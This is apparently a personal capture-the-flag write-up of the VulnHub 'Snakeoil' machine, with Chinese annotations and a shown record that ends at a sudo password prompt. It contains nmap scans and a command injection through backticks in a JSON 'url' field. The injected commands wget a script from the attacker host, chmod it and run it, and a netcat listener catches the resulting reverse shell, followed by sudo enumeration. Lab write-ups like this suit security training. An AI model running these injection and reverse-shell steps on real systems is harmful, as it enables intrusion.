┌──(mikannse㉿kali)-[~/vulnhub/snakeoil] └─$ sudo nmap --min-rate=10000 -p- 192.168.129.5 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-15 14:46 HKT Nmap scan report for 192.168.129.5 (192.168.129.5) Host is up (0.28s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8080/tcp open http-proxy MAC Address: 08:00:27:6F:04:3B (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 16.19 seconds
┌──(mikannse㉿kali)-[~/vulnhub/snakeoil] └─$ sudo nmap -sT -sC -sV -O -p22,80,8080 192.168.129.5 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-15 14:47 HKT Nmap scan report for 192.168.129.5 (192.168.129.5) Host is up (0.00066s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 73:a4:8f:94:a2:20:68:50:5a:ae:e1:d3:60:8d:ff:55 (RSA) | 256 f3:1b:d8:c3:0c:3f:5e:6b:ac:99:52:80:7b:d6:b6:e7 (ECDSA) |_ 256 ea:61:64:b6:3b:d3:84:01:50:d8:1a:ab:38:29:12:e1 (ED25519) 80/tcp open http nginx 1.14.2 |_http-title: Welcome to SNAKEOIL! |_http-server-header: nginx/1.14.2 8080/tcp open http nginx 1.14.2 |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: nginx/1.14.2 |_http-title: Welcome to Good Tech Inc.'s Snake Oil Project MAC Address: 08:00:27:6F:04:3B (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.15 seconds
┌──(mikannse㉿kali)-[~/vulnhub/snakeoil] └─$ curl -X POST "http://192.168.129.5:8080/registration" -d "username=test&password=test" {"message": "User test was created. Please use the login API to log in!", "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNjkyNDgzNiwianRpIjoiZWUwNWVlZWYtMzhjOC00ZTk5LWJjM2EtNTZjYTA1NTc0YmJkIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InRlc3QiLCJuYmYiOjE3MzY5MjQ4MzYsImV4cCI6MTczNjkyNTczNn0.B3ZDfuzomn7pBJfqzpLNLwWu0lsLTqt41Cx5d0zTs-M"}
成功登录
┌──(mikannse㉿kali)-[~/vulnhub/snakeoil] └─$ curl -X POST "http://192.168.129.5:8080/login" -d "username=test&password=test" {"message": "Logged in as test", "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNjkyNDg2NiwianRpIjoiYWEzZWJmNDMtNWU4MC00MzZlLTg3NzYtYzFhZDY4M2VmMjRlIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InRlc3QiLCJuYmYiOjE3MzY5MjQ4NjYsImV4cCI6MTczNjkyNTc2Nn0.EJAq4XxmBQDCie3cO4l1d6z-AhfyjtZ3RGwoiaj0RGE", "refresh_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNjkyNDg2NiwianRpIjoiYjdlZGIyZDQtNTMxMi00ZTgxLThjM2EtMTZlMmUzZTFmNDc4IiwidHlwZSI6InJlZnJlc2giLCJzdWIiOiJ0ZXN0IiwibmJmIjoxNzM2OTI0ODY2LCJleHAiOjE3MzY5Mjg0NjZ9.WqZlyTtwo5b6RiLBEu_dn2wkBg8rKqc03HGIbDzc35M"}
┌──(mikannse㉿kali)-[~/vulnhub/snakeoil] └─$ curl -X POST "http://192.168.129.5:8080/run" -H "Content-Type: application/json" -d '{"url":"192.168.129.4:8000/`wget http://192.168.129.4:8000/hack.sh -O /tmp/hack.sh`","secret_key":"commandexecutionissecret"}' {"message":"--2025-01-15 16:26:41-- http://192.168.129.4:8000/hack.sh\nConnecting to 192.168.129.4:8000... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 61 [text/x-sh]\nSaving to: \u2018/tmp/hack.sh\u2019\n\n 0K 100% 11.8M=0s\n\n2025-01-15 16:26:41 (11.8 MB/s) - \u2018/tmp/hack.sh\u2019 saved [61/61]\n\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\r100 226 100 226 0 0 56500 0 --:--:-- --:--:-- --:--:-- 56500\n","success":false}
给予可执行权限
┌──(mikannse㉿kali)-[~/vulnhub/snakeoil] └─$ curl -X POST "http://192.168.129.5:8080/run" -H "Content-Type: application/json" -d '{"url":"192.168.129.4:8000/`chmod +x /tmp/hack.sh`","secret_key":"commandexecutionissecret"}' {"message":" % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\r100 226 100 226 0 0 45200 0 --:--:-- --:--:-- --:--:-- 56500\n","success":false}
开启监听之后，执行反弹shell,成功接收
┌──(mikannse㉿kali)-[~/vulnhub/snakeoil] └─$ curl -X POST "http://192.168.129.5:8080/run" -H "Content-Type: application/json" -d '{"url":"192.168.129.4:8000/`/tmp/hack.sh`","secret_key":"commandexecutionissecret"}' {"message":"The timeout is expired!","success":false}
┌──(mikannse㉿kali)-[~/vulnhub/snakeoil] └─$ rlwrap -nAr nc -lvnp 1234 listening on [any] 1234 ... connect to [192.168.129.4] from (UNKNOWN) [192.168.129.5] 44100 bash: cannot set terminal process group (468): Inappropriate ioctl for device bash: no job control in this shell patrick@SNAKEOIL:~/flask_blog$
提权
发现能够执行任意命令，但是不知道patrick的密码
patrick@SNAKEOIL:~/flask_blog$ sudo -l sudo -l Matching Defaults entries for patrick on SNAKEOIL: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User patrick may run the following commands on SNAKEOIL: (root) NOPASSWD: /sbin/shutdown (ALL : ALL) ALL patrick@SNAKEOIL:~/flask_blog$ sudo -i sudo -i [sudo] password for patrick:
